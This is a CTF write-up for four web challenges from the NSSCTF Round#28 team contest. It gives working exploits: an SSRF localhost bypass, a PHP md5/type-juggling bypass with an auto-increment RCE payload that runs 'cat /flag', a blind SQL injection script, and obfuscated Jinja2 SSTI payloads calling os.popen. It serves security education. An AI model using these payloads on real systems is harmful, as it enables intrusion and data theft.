NSSCTF Round#28 Team组队赛 WEB-WP

题目:ez_ssrf
看一下题:
<?php
highlight_file(__FILE__);
//flag在/flag路由中
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (strpos($url, 'http://') !== 0) {
echo json_encode(["error" => "Only http:// URLs are allowed"]);
exit;
}
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
$forbidden_ips = ['127.0.0.1', '::1'];
if (in_array($ip, $forbidden_ips)) {
echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo json_encode(["error" => curl_error($ch)]);
} else {
echo $response;
}
curl_close($ch);
} else {
echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>
{"error":"Please provide a 'url' parameter"}
可知我们想要得到flag必须访问本地的/flag路由,构造的payload必须是http://开头,地址不能指向127.0.0.1
所以我们不能直接访问http://127.0.0.1/flag,而且127.0.0.1的不同进制表现形式都不能用
但是我们可以使用127.0.0.0/8网段的其他IP:
http://127.0.2.1/flag
http://127.1.1.1/flag
http://127.2.2.1/flag
......

也可以使用0.0.0.0
http://0.0.0.0/flag

得到flag:NSSCTF{cd2ae452-569c-4dae-a4bf-8170cb7a733f}
题目:ez_php
看一下题:
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
$a = $_POST['a'];
$b = $_POST['b'];
$password = $_GET['password'];
if (is_numeric($password)) {
die("password can't be a number</br>");
} elseif ($password != 123456) {
die("Wrong password</br>");
}
if ($a != $b && md5($a) === md5($b)) {
echo "wonderful</br>";
include($_POST['file']); # level2.php
}
}
?>
很简单直接构造payload
GET:?password=123456e
POST:a[]=1&b[]=2

这里可以直接通过post传入file=/flag来得到flag

但是我们还是看一下level2.php里面的内容,通过php伪协议:
file=php://filter/read=convert.base64-encode/resource=level2.php

得到:PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmlmIChpc3NldCgkX1BPU1RbJ3JjZSddKSkgew0KICAgICRyY2UgPSAkX1BPU1RbJ3JjZSddOw0KICAgIGlmIChzdHJsZW4oJHJjZSkgPD0gMTIwKSB7DQogICAgICAgIGlmIChpc19zdHJpbmcoJHJjZSkpIHsNCiAgICAgICAgICAgIGlmICghcHJlZ19tYXRjaCgiL1shQCMlXiYqOidcLTw/PlwiXC98YGEtekEtWn5cXFxcXS8iLCAkcmNlKSkgew0KICAgICAgICAgICAgICAgIGV2YWwoJHJjZSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8oIkFyZSB5b3UgaGFjayBtZT8iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gIkkgd2FudCBzdHJpbmchIjsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gInRvbyBsb25nISI7DQogICAgfQ0KfQ0KPz4=
解一下:

<?php
error_reporting(0);
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
?>
很简单的命令执行,可以用自增构造绕过
payload:
GET: ?1=system&2=cat /flag
POST: rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__; $_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

得到flag:NSSCTF{fd0584b9-65ff-46eb-851c-0f69427cb63e}
题目:light_pink

打开题目测试一下,发现是字符型sql注入,盲注,过滤了=,>,<

这里直接跑exp爆flag
exp:
import requests
import time
url='http://node6.anna.nssctf.cn:21421/detail.php'
flag=''
for i in range(1,100):
mid=32
while(True):
#payload = url+"?id=0' or (ascii(substr(database(),{},1)) like {}) or '0".format(i,mid) #爆库名
#payload = url+"?id=0' or (ascii(substr((SelecT(group_concat(table_name))from(information_schema.tables)where(table_schema like (database()))),{},1)) like {}) or '0".format(i,mid) #爆表名
#payload = url+"?id=0' or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name like 'messages')),{},1)) like {}) or '0".format(i,mid) #爆字段名
payload = url+"?id=0' or (ascii(substr((select(group_concat(Happy))from(nss_board.Cute)),{},1)) like {}) or '0".format(i,mid) #爆flag
res=requests.get(payload)
if "大家好" in res.text or mid ==150:
break
mid+=1
flag+=chr(mid)
print(flag)

得到flag:NSSCTF{Hel1o_th1s_is_light_p1nk_flag}
题目:Coding Loving
打开题目:

存在附件,我们看一下:
app = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1
def contains_forbidden_keywords(complaint):
for keyword in FILTER_KEYWORDS:
if keyword.lower() in complaint:
return True
return False
@app.route('/', methods=['GET', 'POST'])
def index():
session['user'] = 'test'
command = request.form.get('cmd', 'coding')
return render_template('index.html', command=command)
@app.route('/test', methods=['GET', 'POST'])
def shell():
if session.get('user') != 'test':
return render_template('Auth.html')
if (abc:=request.headers.get('User-Agent')) is None:
return render_template('Auth.html')
cmd = request.args.get('cmd', '试一试')
if request.method == 'POST':
css_url = url_for('static', filename='style.css')
command = request.form.get('cmd')
if contains_forbidden_keywords(command):
return render_template('forbidden.html')
return render_template_string(f'''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Loving Music</title>
<link rel="stylesheet" href="{css_url}">
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
</head>
<body>
<div class="container">
<h1>Loving coding</h1>
<p class="emoji">🧑💻</p>
<p>{command}</p>
</div>
</body>
</html>
''', command=command,css_url=css_url)
return render_template('shell.html', command=cmd)
我们可以看到题目考察ssti,并且还需要带上cookie进行验证,所以焚靖工具无法一把梭
我们可以写一个fuzz脚本,带上cookie后fuzz一下,然后在本地写一个app.py,带上黑名单里的字符在本地使用焚靖跑一下,得到payload后再上传
fuzz.py:
import re
import requests
url = "http://node6.anna.nssctf.cn:29588/test" ###
pattern =r'0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{};\':"|,.<>/?~`,'
session_cookie={"session":'eyJ1c2VyIjoidGVzdCJ9.Z9-ang.v3HCY8Gqk-Q1EzjW39ZR6Wz0Jpo'} ###
blacklist=[]
whitelist=[]
def fuzz(zd):
global blacklist,whitelist
for char in zd:
response = requests.post( ###
url, ###
data={"cmd":char}, ###
cookies=session_cookie
)
print(f"Testing character:{char}")
if "检测到输入非法字符" in response.text: ####
blacklist.append(char)
print(f"Character'{char}'is blacklisted.")
else:
whitelist.append(char)
print(f"Character'{char}'is witelisted.")
fuzz(pattern)
fuzz(['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n','{{1}}','{1}','flag','read','os','builtins','globals','getitem','class','mro','subclasses','()','[]'])
print("\n分类结果:")
print("白名单:",whitelist)
print("黑名单:",blacklist)

黑名单: ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'g', 'g', '%', '_', '.', '/', '__', 'flag', 'read', 'globals', 'getitem']
带入app.py:
from flask import *
from jinja2 import *
from os import *
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name')
html = '''<h3><br> Hello %s'''%name
blacklist = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'g', 'g', '%', '_', '.', '/', '__', 'flag', 'read', 'globals', 'getitem']
if name and any(black in name for black in blacklist):
return "Forbidden content detected!"
result = render_template_string(html)
return result
if __name__ == "__main__":
app.run(debug=True)
本地运行app.py:

然后使用焚靖对app.py一把梭,绕过后执行ls /

ls /的payload:
cmd={{cycler['next'][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'GLOBALS'|lower+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'builtins'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'import'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count]('os')['popen'](((lipsum()|urlencode|first+'c')*(x,x,x,x)|count)|format(((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x,x)|count)*(x,x,x,x,x)|count),((x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),((x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x)|count)))['r''ead']()}}
然后把生成的payload带入到题目测试一下

执行成功,我们可以读取一下flag
cat /flag的payload:
cmd={{cycler['next'][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'GLOBALS'|lower+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'builtins'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'import'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count]('os')['popen'](((lipsum()|urlencode|first+'c')*(x,x,x,x,x,x,x,x,x)|count)|format(((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x,x,x,x)|count),(((x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x)|count)*(x,x,x,x)|count),((x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),((x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count)))['r''ead']()}}

得到flag:NSSCTF{77ffd6e8-b6e2-4945-ba03-cfbaace0eb6b}